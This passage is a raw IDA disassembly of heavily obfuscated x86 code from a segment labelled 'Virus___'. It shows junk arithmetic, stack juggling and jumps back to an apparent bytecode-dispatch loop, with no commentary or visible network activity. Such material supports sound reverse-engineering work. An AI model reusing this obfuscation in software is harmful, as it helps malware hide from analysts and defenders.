95D7B9Fh cmp eax, [edi+2Ch] jnz short loc_5729CD jmp short loc_5729E0 ; --------------------------------------------------------------------------- loc_5729CD: ; CODE XREF: Virus___:005729C9j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5729DC ; --------------------------------------------------------------------------- loc_5729D7: ; CODE XREF: Virus___:005729DEj add [edi+ecx*4+40h], eax dec ecx loc_5729DC: ; CODE XREF: Virus___:005729D5j or ecx, ecx jnz short loc_5729D7 loc_5729E0: ; CODE XREF: Virus___:005729CBj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5729ED: ; CODE XREF: Virus___:005729F4j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5729ED loc_5729F6: ; CODE XREF: Virus___:00572A81j ; Virus___:00572B3Fj ... lodsb xor al, bl sub esp, 2 mov [esp], bx push edx jmp loc_57E007 ; --------------------------------------------------------------------------- loc_572A09: ; CODE XREF: Virus___:005797E6j not esi dec esi sub esi, 8038E85Ch sub edi, esi pop esi jmp loc_573A71 ; --------------------------------------------------------------------------- loc_572A1A: ; CODE XREF: Virus___:00579984j mov edi, esp add edi, 4 push ebx mov ebx, 4 sub edi, ebx pop ebx xchg edi, [esp] mov esp, [esp] mov [esp], eax jmp loc_576555 ; --------------------------------------------------------------------------- loc_572A39: ; CODE XREF: Virus___:0057D023j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov eax, esp push ebx mov ebx, 16B201DCh add ebx, 86553CEh xor ebx, 0B0E0675h shl ebx, 8 sub ebx, 60FE0C07h add ebx, 47AA2D0Bh add eax, ebx pop ebx add eax, 4 xchg eax, [esp] pop esp jmp loc_573EBE ; --------------------------------------------------------------------------- loc_572A7D: ; CODE XREF: Virus___:00573811j shr dword ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_572A86: ; CODE XREF: Virus___:00573CC0j push edx jmp loc_57A8F9 ; --------------------------------------------------------------------------- loc_572A8C: ; CODE XREF: Virus___:00572E3Aj xchg edx, [esp] pop esp or edx, eax shl edx, 1 push 3CC3h mov [esp], ebx jmp loc_576D34 ; --------------------------------------------------------------------------- loc_572AA1: ; CODE XREF: Virus___:0057CC7Bj push dx sub esp, 4 mov [esp], ebx mov bx, 789Bh dec bx xor bx, 635Ch neg bx push cx mov cx, 0E438h xor bx, cx mov cx, [esp] add esp, 2 mov dx, bx mov ebx, [esp] add esp, 4 add [esp+2], dx mov dx, [esp] push edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] pop esp jmp loc_573292 ; --------------------------------------------------------------------------- loc_572AF1: ; CODE XREF: Virus___:0057568Cj mov esi, 4 add eax, esi mov esi, [esp] add esp, 4 push edx jmp loc_57C789 ; --------------------------------------------------------------------------- loc_572B07: ; CODE XREF: Virus___:0057B73Ej sub edx, 5C83758Ah pop edi push ebx jmp loc_574D5D ; --------------------------------------------------------------------------- loc_572B14: ; CODE XREF: Virus___:00573B6Ej add eax, 56390C2Ch sub eax, 495D6EC7h add eax, edx push edi mov edi, 15DE41A6h xor edi, 5C832F61h add eax, edi pop edi sub eax, 56390C2Ch jmp loc_578EA8 ; --------------------------------------------------------------------------- loc_572B39: ; CODE XREF: Virus___:005745A0j mov esp, [esp] mov [esp], ecx jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_572B44: ; CODE XREF: Virus___:00576E81j pop ecx jmp loc_57AE6A ; --------------------------------------------------------------------------- loc_572B4A: ; CODE XREF: Virus___:0057864Dj xor ecx, 29341D6h push ecx jmp loc_578FCC ; --------------------------------------------------------------------------- loc_572B56: ; CODE XREF: Virus___:0057AB22j sub [esp], ebp pop ebp add ebp, 77B75E37h mov ecx, ebp pop ebp jmp loc_573DF1 ; --------------------------------------------------------------------------- loc_572B68: ; CODE XREF: Virus___:005755D7j pop esp add esi, 2 jmp loc_57B57D ; --------------------------------------------------------------------------- loc_572B74: ; CODE XREF: Virus___:00579EF2j inc eax sub eax, 5593D61h sub eax, 15F0017Bh sub edx, eax pop eax xchg edx, [esp] pop esp mov [esp], eax push esp pop eax push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] add esp, 4 push ebp mov ebp, 2 add eax, ebp jmp loc_5774A5 ; --------------------------------------------------------------------------- loc_572BA9: ; CODE XREF: Virus___:0057CD42j inc esi sub esi, 0CA3D61BCh xor ecx, esi pop esi sub edx, ecx pop ecx pop eax push eax push ebx mov ebx, 75DF3712h mov eax, 77114980h xor eax, ebx pop ebx push ebp mov ebp, 5E12370Eh neg ebp dec ebp inc ebp xor ebp, 5CDC4982h add eax, ebp pop ebp add edx, eax pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov cx, [esp] jmp loc_57EDD4 ; --------------------------------------------------------------------------- loc_572BEF: ; CODE XREF: Virus___:0057CFAAj movzx eax, al jmp loc_57952A ; --------------------------------------------------------------------------- loc_572BF7: ; CODE XREF: Virus___:0057C139j push 7EA0h jmp loc_574973 ; --------------------------------------------------------------------------- loc_572C01: ; CODE XREF: Virus___:0057856Cj xor edi, [esp] mov esp, [esp] jmp loc_576133 ; --------------------------------------------------------------------------- loc_572C0C: ; CODE XREF: Virus___:0057B448j xor edi, ecx pop ecx jmp loc_57E3BE ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_57732A ; --------------------------------------------------------------------------- loc_572C1D: ; CODE XREF: Virus___:0057D892j mov [esp], ecx push esp pop ecx jmp loc_57E6AC ; --------------------------------------------------------------------------- loc_572C27: ; CODE XREF: Virus___:00574CE9j mov [esp], eax push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp push 4817h mov [esp], eax mov eax, 4 push ecx mov ecx, 1A111643h add ebp, ecx pop ecx sub ebp, 7E422F0Ah jmp loc_5761FD ; --------------------------------------------------------------------------- loc_572C59: ; CODE XREF: Virus___:00572E69j sub eax, esi pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx mov eax, [esp] add esp, 4 pop ebx push ebx jmp loc_57A5EB ; --------------------------------------------------------------------------- push edi push esp jmp loc_5790BE ; --------------------------------------------------------------------------- loc_572C80: ; CODE XREF: Virus___:00577878j pop edx push eax mov eax, 2 add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov ax, [esp] push 655Fh mov [esp], esi push esp pop esi jmp loc_5783EB ; --------------------------------------------------------------------------- loc_572CA9: ; CODE XREF: Virus___:005780F1j push esp pop ebp sub esp, 4 jmp loc_5769FC ; --------------------------------------------------------------------------- loc_572CB3: ; CODE XREF: Virus___:00575715j xor esi, 322008D6h push edi mov edi, 0E80AFEB2h jmp loc_5793CC ; --------------------------------------------------------------------------- loc_572CC4: ; CODE XREF: Virus___:0057C966j sub ebx, 413B6D43h add ebx, 50E90A3Bh jmp loc_574EA8 ; --------------------------------------------------------------------------- loc_572CD5: ; CODE XREF: Virus___:0057765Dj sub [esp], eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_572CDE: ; CODE XREF: Virus___:005792E2j pop edx or bh, 81h add bh, 0D2h jmp loc_57EE6F ; --------------------------------------------------------------------------- loc_572CEA: ; CODE XREF: Virus___:0057E987j add edi, 4 jmp loc_57B352 ; --------------------------------------------------------------------------- loc_572CF2: ; CODE XREF: Virus___:0057725Bj add ax, dx pop edx push di mov di, 2671h add ax, 251Bh add ax, di sub ax, 251Bh mov di, [esp] add esp, 2 sub ax, 3BE8h add ax, bx push dx jmp loc_5730F2 ; --------------------------------------------------------------------------- loc_572D1C: ; CODE XREF: Virus___:005751DBj push esi pop edx pop esi sub edx, edi pop edi add ebx, edx mov edx, [esp] jmp loc_579511 ; --------------------------------------------------------------------------- loc_572D2C: ; CODE XREF: Virus___:005776E0j push ebx mov ebx, 4 sub eax, 4B6F29AEh sub eax, ebx push ebp mov ebp, 4B6F29AEh jmp loc_5741C3 ; --------------------------------------------------------------------------- loc_572D44: ; CODE XREF: Virus___:0057851Aj add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_57C64F ; --------------------------------------------------------------------------- loc_572D58: ; CODE XREF: Virus___:0057E560j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_572D5D: ; CODE XREF: Virus___:00577DDEj push edi mov edi, 4 add esi, edi pop edi push edi mov edi, 12554DADh or edi, 7A4F44C4h jmp loc_57D191 ; --------------------------------------------------------------------------- loc_572D77: ; CODE XREF: Virus___:00579F93j mov [esp], ecx pop ebp pop ecx push 1EC5h jmp loc_574482 ; --------------------------------------------------------------------------- loc_572D86: ; CODE XREF: Virus___:005752ECj sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ecx jmp loc_57CAAC ; --------------------------------------------------------------------------- loc_572DA5: ; CODE XREF: Virus___:0057D9A0j push ecx mov ecx, 4 sub edi, ecx pop ecx xchg edi, [esp] jmp loc_57B02B ; --------------------------------------------------------------------------- loc_572DB6: ; CODE XREF: Virus___:00575E31j push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_578701 ; --------------------------------------------------------------------------- loc_572DC3: ; CODE XREF: Virus___:0057C9A1j mov eax, [esp] add esp, 4 not edi not edi push edx mov edx, 1EF454E0h or edi, edx pop edx jmp loc_5756F7 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_57C43F ; --------------------------------------------------------------------------- loc_572DF9: ; CODE XREF: Virus___:0057A6EDj xchg ecx, [esp] pop esp jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_572E02: ; CODE XREF: Virus___:005783B2j mov esp, [esp] sub esp, 4 jmp loc_578B42 ; --------------------------------------------------------------------------- loc_572E0D: ; CODE XREF: Virus___:0057CC44j push edx push 165156FFh pop edx jmp loc_574726 ; --------------------------------------------------------------------------- loc_572E19: ; CODE XREF: Virus___:0057B62Aj push ecx mov ecx, esp add ecx, 4 jmp loc_57E0C5 ; --------------------------------------------------------------------------- loc_572E27: ; CODE XREF: Virus___:0057C8B4j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_572E2C: ; CODE XREF: Virus___:005743FBj mov edx, esp add edx, 4 add edx, 4 jmp loc_572A8C ; --------------------------------------------------------------------------- loc_572E3F: ; CODE XREF: Virus___:00575821j push ebp push ebx mov ebx, 30B038C9h mov ebp, 7A0B54C5h jmp loc_5751E0 ; --------------------------------------------------------------------------- loc_572E50: ; CODE XREF: Virus___:00579763j mov [esp], eax push eax push esp mov eax, [esp] add esp, 4 add eax, 4 push esi mov esi, 4 jmp loc_572C59 ; --------------------------------------------------------------------------- loc_572E6E: ; CODE XREF: Virus___:0057CCDFj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_572E73: ; CODE XREF: Virus___:005777A1j sub esp, 4 mov [esp], esi mov esi, 41401F41h jmp loc_57B994 ; --------------------------------------------------------------------------- loc_572E83: ; CODE XREF: Virus___:005753DEj push esi push esp pop esi push 270h jmp loc_5747C4 ; --------------------------------------------------------------------------- loc_572E90: ; CODE XREF: Virus___:00577AFAj add esp, 4 add ebp, 4 jmp loc_57BF45 ; --------------------------------------------------------------------------- loc_572EA1: ; CODE XREF: Virus___:00575009j mov edi, esp push eax push ecx mov ecx, 12147E6h shr ecx, 6 xor ecx, 5B8F0FBCh jmp loc_57864A ; --------------------------------------------------------------------------- loc_572EB8: ; CODE XREF: Virus___:00574F1Fj push esi jmp loc_575475 ; --------------------------------------------------------------------------- loc_572EBE: ; CODE XREF: Virus___:0057998Ej push 13BDh mov [esp], esi mov esi, 2DA46A9Dh add ecx, esi pop esi sub ecx, 6E242C28h jmp loc_57D64D ; --------------------------------------------------------------------------- loc_572ED9: ; CODE XREF: Virus___:0057D265j add esi, ebp pop ebp xchg esi, [esp] jmp loc_57B52D ; --------------------------------------------------------------------------- loc_572EE4: ; CODE XREF: Virus___:00573156j mov [esp], ebx mov ebx, 2 add ecx, 256F0F5Ah add ecx, ebx sub ecx, 256F0F5Ah mov ebx, [esp] jmp loc_575B6A ; --------------------------------------------------------------------------- loc_572F02: ; CODE XREF: Virus___:005773ADj mov ebp, 53CA1E24h xor ebp, eax pop eax push ecx jmp loc_57EB8B ; --------------------------------------------------------------------------- loc_572F10: ; CODE XREF: Virus___:005774A0j push ebx mov ebx, 126E3F00h jmp loc_57E6D8 ; --------------------------------------------------------------------------- loc_572F1B: ; CODE XREF: Virus___:0057369Ej pop esp sub esp, 4 mov [esp], edx push 52CDEA7h mov edx, [esp] add esp, 4 xor eax, edx jmp loc_57BFE8 ; --------------------------------------------------------------------------- loc_572F37: ; CODE XREF: Virus___:00574EC7j or ebx, 51EC592Eh jmp loc_57A2DE ; --------------------------------------------------------------------------- loc_572F42: ; CODE XREF: Virus___:00573321j add eax, 4 jmp loc_57E58A ; --------------------------------------------------------------------------- loc_572F4C: ; CODE XREF: Virus___:005775FCj add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_57A40E ; --------------------------------------------------------------------------- loc_572F5D: ; CODE XREF: Virus___:0057EDB9j sub bh, 93h jmp loc_57AC4D ; --------------------------------------------------------------------------- loc_572F65: ; CODE XREF: Virus___:00577B5Bj add esp, 4 xor edx, eax jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_572F72: ; CODE XREF: Virus___:005767E2j pop esi push ebp mov bp, 0CF0h and bp, 68A7h shr bp, 4 and bp, 0E22h inc bp jmp loc_57E784 ; --------------------------------------------------------------------------- loc_572F8D: ; CODE XREF: Virus___:005793DBj and [edi+1Ch], ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_572FB1: ; CODE XREF: Virus___:0057582Bj mov [esp], ebx push 5099h mov [esp], ecx jmp loc_5772E8 ; --------------------------------------------------------------------------- loc_572FC1: ; CODE XREF: Virus___:00578CB2j add esp, 4 push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 sub edi, ecx jmp loc_576868 ; --------------------------------------------------------------------------- loc_572FDA: ; CODE XREF: Virus___:0057AAD9j sub al, 10h sub al, 0FCh add al, dh add al, 0FCh add al, 10h pop dx xor bl, al push 505Ah mov [esp], esi mov esi, 7AD3267Ah push ebx mov ebx, 7E55799h push ebp mov ebp, 23F41546h add ebx, ebp pop ebp and ebx, 32CC1F6Dh shr ebx, 5 jmp loc_57649C ; --------------------------------------------------------------------------- loc_573012: ; CODE XREF: Virus___:0057E9C1j add edx, 4 jmp loc_57A05F ; --------------------------------------------------------------------------- loc_57301A: ; CODE XREF: Virus___:00575A77j add esp, 4 sub eax, 7CD6749Ch jmp loc_5783B7 ; --------------------------------------------------------------------------- loc_57302A: ; CODE XREF: Virus___:0057E720j push edx push ebx mov bh, 0B5h inc bh shr bh, 8 sub bh, 0E9h jmp loc_57CBC9 ; --------------------------------------------------------------------------- loc_57303B: ; CODE XREF: Virus___:00574864j mov [esp], eax push ebx mov bl, dl mov ah, bl jmp loc_578DC7 ; --------------------------------------------------------------------------- loc_573048: ; CODE XREF: Virus___:0057CAA7j mov [esp], ebp mov ebp, 54DD1806h sub ebp, 3E61047Ah mov ebx, ebp pop ebp neg ebx neg ebx and ebx, 58E22165h not ebx jmp loc_5766AE ; --------------------------------------------------------------------------- loc_57306A: ; CODE XREF: Virus___:005764D9j push eax push 4 jmp loc_57E034 ; --------------------------------------------------------------------------- loc_573075: ; CODE XREF: Virus___:0057837Ej push eax mov ah, 72h jmp loc_579D41 ; --------------------------------------------------------------------------- loc_57307D: ; CODE XREF: Virus___:005785A5j push esi mov esi, 5886759Eh shl esi, 6 jmp loc_577B60 ; --------------------------------------------------------------------------- loc_57308B: ; CODE XREF: Virus___:00574019j sub ebx, 265A293Dh add ebx, edx add ebx, 265A293Dh jmp loc_57748C ; --------------------------------------------------------------------------- loc_57309E: ; CODE XREF: Virus___:005738A1j push edi sub dword ptr [esp], 11F77B0Bh jmp loc_57B35D ; --------------------------------------------------------------------------- mov cx, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push esp pop ecx push eax jmp loc_573BEB ; --------------------------------------------------------------------------- loc_5730CA: ; CODE XREF: Virus___:0057A409j sub edx, 333441E9h sub edx, 4FDC2910h sub edx, 0E957984h add edx, ecx add edx, 0E957984h push ebp mov ebp, 4FDC2910h add edx, ebp pop ebp jmp loc_5787DC ; --------------------------------------------------------------------------- loc_5730F2: ; CODE XREF: Virus___:00572D17j mov dx, 3BE8h add ax, dx pop dx jmp loc_57DA8D ; --------------------------------------------------------------------------- loc_573100: ; CODE XREF: Virus___:00576252j not ebp push eax jmp loc_57E59E ; --------------------------------------------------------------------------- loc_573108: ; CODE XREF: Virus___:0057B04Bj add esi, 4 push 56DFh mov [esp], esi push dword ptr [esp+4] pop esi jmp loc_573C67 ; --------------------------------------------------------------------------- loc_57311D: ; CODE XREF: Virus___:0057C2DAj or eax, eax jz loc_57BC7E push dword ptr [edi+28h] push dword ptr [esp] push dword ptr [esp] pop eax push ebp jmp loc_57404E ; --------------------------------------------------------------------------- loc_573135: ; CODE XREF: Virus___:0057AA37j inc esi add esi, 520A5DE9h xor esi, 0B204DD3Bh add ecx, 5AFA2E24h add ecx, esi sub ecx, 5AFA2E24h pop esi push 1776h jmp loc_572EE4 ; --------------------------------------------------------------------------- loc_57315B: ; CODE XREF: Virus___:0057D1E6j push ebx mov ebx, 1B8E6D44h add ebp, ebx pop ebx jmp loc_5743A6 ; --------------------------------------------------------------------------- loc_573169: ; CODE XREF: Virus___:0057A293j pop edi inc ecx dec ecx not ecx push edx push eax jmp loc_579469 ; --------------------------------------------------------------------------- loc_573175: ; CODE XREF: Virus___:005781BCj xchg esi, [esp] pop esp pop dword ptr [esp] pop esp idiv cx push 540Dh mov [esp], ebp jmp loc_5738E3 ; --------------------------------------------------------------------------- loc_57318D: ; CODE XREF: Virus___:00577C17j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_57473E ; --------------------------------------------------------------------------- loc_5731A4: ; CODE XREF: Virus___:00574694j mov [esp], esi mov esi, 70E97940h push esi push edi mov edi, 720805E9h add edi, 4F5D6AF9h or edi, 7229737Dh neg edi push ebx mov ebx, 2D261562h add ebx, 6C5751FDh add edi, 144A40E6h sub edi, ebx sub edi, 144A40E6h jmp loc_576502 ; --------------------------------------------------------------------------- loc_5731E0: ; CODE XREF: Virus___:0057C6A0j add edx, 37E716Fh and edx, 509A1833h shr edx, 8 jmp loc_57B491 ; --------------------------------------------------------------------------- loc_5731F4: ; CODE XREF: Virus___:00578B30j add [esp+4], ebp add dword ptr [esp+4], 0EC42D99h add dword ptr [esp+4], 6A285465h push dword ptr [esp] pop ebp add esp, 4 jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_573217: ; CODE XREF: Virus___:00577C78j neg edx xchg eax, edx push eax not dword ptr [esp] jmp loc_57528F ; --------------------------------------------------------------------------- loc_573223: ; CODE XREF: Virus___:00579525j push ebx jmp loc_575452 ; --------------------------------------------------------------------------- loc_573229: ; CODE XREF: Virus___:0057A54Aj mov edx, ebp pop ebp add edx, 9D4E804Ch add ecx, edx jmp loc_5766BF ; --------------------------------------------------------------------------- loc_573239: ; CODE XREF: Virus___:0057BF96j push ecx mov ecx, 450A3C7Bh dec ecx or ecx, 649588Bh jmp loc_578571 ; --------------------------------------------------------------------------- loc_57324B: ; CODE XREF: Virus___:005782C8j push 349Bh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 push esi jmp loc_575763 ; --------------------------------------------------------------------------- loc_573264: ; CODE XREF: Virus___:005749D8j add dword ptr [esp], 4 pop esi push edi mov edi, 799207EAh dec edi sub edi, 799207E5h add esi, edi pop edi add esi, 2 jmp loc_57B1AC ; --------------------------------------------------------------------------- loc_573284: ; CODE XREF: Virus___:00575E3Fj shr esi, 4 add esi, 4AA88B15h jmp loc_575492 ; --------------------------------------------------------------------------- loc_573292: ; CODE XREF: Virus___:00572AECj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_573297: ; CODE XREF: Virus___:00575CF6j pop ebx xchg ecx, ebp dec ecx xor ebp, ecx xor ecx, ebp xor ebp, ecx sub ebp, 0F27C1CF2h push ebx push esi mov esi, 4DC3910Ch mov ebx, esi pop esi jmp loc_5740F7 ; --------------------------------------------------------------------------- loc_5732B6: ; CODE XREF: Virus___:0057AE51j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_574699 ; --------------------------------------------------------------------------- loc_5732CA: ; CODE XREF: Virus___:00578292j mov eax, 4 push 78F1h mov [esp], ebp push edx jmp loc_57B3AB ; --------------------------------------------------------------------------- loc_5732DD: ; CODE XREF: Virus___:0057C6B0j shr al, 6 not al or al, 8Bh sub al, 23h add bl, 0Eh sub bl, al jmp loc_575978 ; --------------------------------------------------------------------------- loc_5732F0: ; CODE XREF: Virus___:0057DEE9j push dword ptr [esp] pop eax jmp loc_5776E5 ; --------------------------------------------------------------------------- loc_5732F9: ; CODE XREF: Virus___:0057E261j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5732FE: ; CODE XREF: Virus___:0057648Aj push 85158EFh pop edx add edx, 66F9CF8Eh mov ebp, edx pop edx push ecx push ebx mov ebx, 189A2800h jmp loc_57B1D5 ; --------------------------------------------------------------------------- loc_573319: ; CODE XREF: Virus___:0057EA51j push eax push esp mov eax, [esp] add esp, 4 jmp loc_572F42 ; --------------------------------------------------------------------------- loc_573326: ; CODE XREF: Virus___:00573999j push esi mov esi, esp jmp loc_577943 ; --------------------------------------------------------------------------- loc_57332E: ; CODE XREF: Virus___:0057C4DFj xchg edx, [esp] pop esp jmp loc_574913 ; --------------------------------------------------------------------------- push esi push edi sub esp, 4 mov [esp], esi mov esi, 5A124D4Bh mov edi, 59FF5E07h xor edi, esi pop esi mov esi, 3ED0F4Bh jmp loc_57558B ; --------------------------------------------------------------------------- loc_573359: ; CODE XREF: Virus___:0057989Aj push ecx jmp loc_579908 ; --------------------------------------------------------------------------- loc_57335F: ; CODE XREF: Virus___:005759A1j push ecx jmp loc_57A16C ; --------------------------------------------------------------------------- loc_573365: ; CODE XREF: Virus___:00578CC6j xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebx mov eax, [esp] add esp, 4 push 516h mov [esp], edi jmp loc_5746E0 ; --------------------------------------------------------------------------- loc_573387: ; CODE XREF: Virus___:0057556Ej mov edi, 0FFFFFFFFh mov eax, edi pop edi jmp loc_576168 ; --------------------------------------------------------------------------- loc_573394: ; CODE XREF: Virus___:005746DBj add esi, eax jmp loc_57C3AA ; --------------------------------------------------------------------------- loc_57339B: ; CODE XREF: Virus___:00576787j add ebp, ecx add ebp, 152433B8h jmp loc_57CDFE ; --------------------------------------------------------------------------- loc_5733A8: ; CODE XREF: Virus___:0057E6FCj pop ecx push eax jmp loc_575DFF ; --------------------------------------------------------------------------- loc_5733AF: ; CODE XREF: Virus___:00578E8Aj add esp, 4 jmp loc_57442E ; --------------------------------------------------------------------------- loc_5733B7: ; CODE XREF: Virus___:0057CC8Ej xchg esi, [esp] pop esp add esp, 4 push edx push 1FB8h jmp loc_5745E8 ; --------------------------------------------------------------------------- loc_5733CC: ; CODE XREF: Virus___:00578468j push ebx mov ebx, 6684223Bh mov edi, 6684223Dh sub edi, 3BB53C07h sub edi, ebx jmp loc_5764A7 ; --------------------------------------------------------------------------- loc_5733E4: ; CODE XREF: Virus___:00574896j xchg ecx, edx shr edx, 3 jmp loc_575252 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5733FD: ; CODE XREF: Virus___:00573BA5j pop ecx pop dword ptr [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add ecx, 4 add ecx, 2 xchg ecx, [esp] jmp loc_57E3F2 ; --------------------------------------------------------------------------- loc_57342F: ; CODE XREF: Virus___:0057D13Aj xor ebp, ebx xor ebx, ebp jmp loc_576DC3 ; --------------------------------------------------------------------------- loc_573438: ; CODE XREF: Virus___:005762A8j mov ebx, 1BC3441Ah mov esi, ebx pop ebx inc esi dec esi push edx mov edx, 2EED216Bh jmp loc_577722 ; --------------------------------------------------------------------------- loc_57344D: ; CODE XREF: Virus___:00575377j sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebp jmp loc_5764D7 ; --------------------------------------------------------------------------- loc_573460: ; CODE XREF: Virus___:00575117j mov ch, 62h inc ch sub ch, 63h sub bl, ch pop ecx sub bl, 87h sub bl, ah jmp loc_57D018 ; --------------------------------------------------------------------------- loc_573474: ; CODE XREF: Virus___:00573808j pop ecx push 57E0h mov [esp], edx mov edx, esp jmp loc_5779FC ; --------------------------------------------------------------------------- loc_573484: ; CODE XREF: Virus___:0057771Dj add edi, 2 jmp loc_579497 ; --------------------------------------------------------------------------- loc_57348F: ; CODE XREF: Virus___:00573A94j mov edi, [esp] jmp loc_57EF97 ; --------------------------------------------------------------------------- loc_573497: ; CODE XREF: Virus___:0057E56Bj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57349C: ; CODE XREF: Virus___:005749E5j mov edx, [esp] add esp, 4 loc_5734A5: ; CODE XREF: Virus___:00574784j ; Virus___:00577A3Cj push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_574869 ; --------------------------------------------------------------------------- loc_5734B4: ; CODE XREF: Virus___:00576038j add ebx, 1A081E59h add eax, ebx pop ebx sub esp, 4 mov [esp], ebx jmp loc_57D27D ; --------------------------------------------------------------------------- loc_5734CB: ; CODE XREF: Virus___:0057EEFBj push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 push esi push 4 pop esi add edi, esi jmp loc_577B22 ; --------------------------------------------------------------------------- loc_5734EA: ; CODE XREF: Virus___:0057901Cj add esi, eax pop eax add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_574414 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push esp pop ecx add ecx, 4 push edx jmp loc_57DB82 ; --------------------------------------------------------------------------- loc_573511: ; CODE XREF: Virus___:0057DD0Ej push esp pop dword ptr [esp] add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_5736F8 ; --------------------------------------------------------------------------- loc_573525: ; CODE XREF: Virus___:0057759Dj xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_577DE3 ; --------------------------------------------------------------------------- loc_573533: ; CODE XREF: Virus___:00578394j push ebx jmp loc_578D59 ; --------------------------------------------------------------------------- loc_573539: ; CODE XREF: Virus___:00578725j pop esp mov ax, [esp] jmp loc_574B97 ; --------------------------------------------------------------------------- loc_573543: ; CODE XREF: Virus___:00577FF6j add esp, 4 add ebx, 4 add ebx, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push dword ptr [esp+4] jmp loc_57BB60 ; --------------------------------------------------------------------------- loc_573570: ; CODE XREF: Virus___:005788E4j mov dword ptr [edi+20h], 68E03112h jmp loc_57A7CC ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_573584: ; CODE XREF: Virus___:005752BCj not ebp jmp loc_578530 ; --------------------------------------------------------------------------- loc_57358B: ; CODE XREF: Virus___:0057E627j mov edi, esp add edi, 4 push ecx mov ecx, 2 add edi, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_579670 ; --------------------------------------------------------------------------- loc_5735A7: ; CODE XREF: Virus___:00574758j xor edi, 1C0D716Fh add ecx, edi pop edi sub ecx, 4 jmp loc_57E672 ; --------------------------------------------------------------------------- loc_5735BB: ; CODE XREF: Virus___:00576159j push ecx sub esp, 4 mov [esp], edx push 0F3E1FA4h mov edx, [esp] add esp, 4 shl edx, 8 shr edx, 7 xchg esi, edx not esi xchg esi, edx jmp loc_57853D ; --------------------------------------------------------------------------- loc_5735DE: ; CODE XREF: Virus___:0057A9A5j mov dx, 194Ch push edi jmp loc_5753E3 ; --------------------------------------------------------------------------- loc_5735E8: ; CODE XREF: Virus___:005765AEj push ecx mov ecx, 2F27C02h push esi jmp loc_5771B6 ; --------------------------------------------------------------------------- loc_5735F4: ; CODE XREF: Virus___:0057BA05j mov ecx, esp push ebx mov ebx, 7FBC3C59h neg ebx xor ebx, 1628650Ch and ebx, 2F9B2907h push edx mov edx, 40E673C9h add edx, 25F5A85h shl edx, 2 jmp loc_57ECD8 ; --------------------------------------------------------------------------- loc_57361E: ; CODE XREF: Virus___:0057C3BEj mov esi, esp add esi, 4 push eax push 7FBF6DC6h mov eax, [esp] add esp, 4 xor eax, 7FBF6DC2h add esi, 383E2902h add esi, eax sub esi, 383E2902h jmp loc_57B06B ; --------------------------------------------------------------------------- loc_57364D: ; CODE XREF: Virus___:00574F15j pop ebx pop dword ptr [esp] mov esp, [esp] div ecx push eax mov eax, esp sub esp, 4 mov [esp], esi jmp loc_573E7D ; --------------------------------------------------------------------------- loc_573664: ; CODE XREF: Virus___:00577B1Dj dec esi inc esi jmp loc_57C9FC ; --------------------------------------------------------------------------- loc_57366B: ; CODE XREF: Virus___:00578145j mov [esp], ecx push edx jmp loc_573BF5 ; --------------------------------------------------------------------------- loc_573674: ; CODE XREF: Virus___:005758E8j sub edx, eax add edx, 67D24234h mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub eax, 5F21049Dh add eax, edx jmp loc_573D96 ; 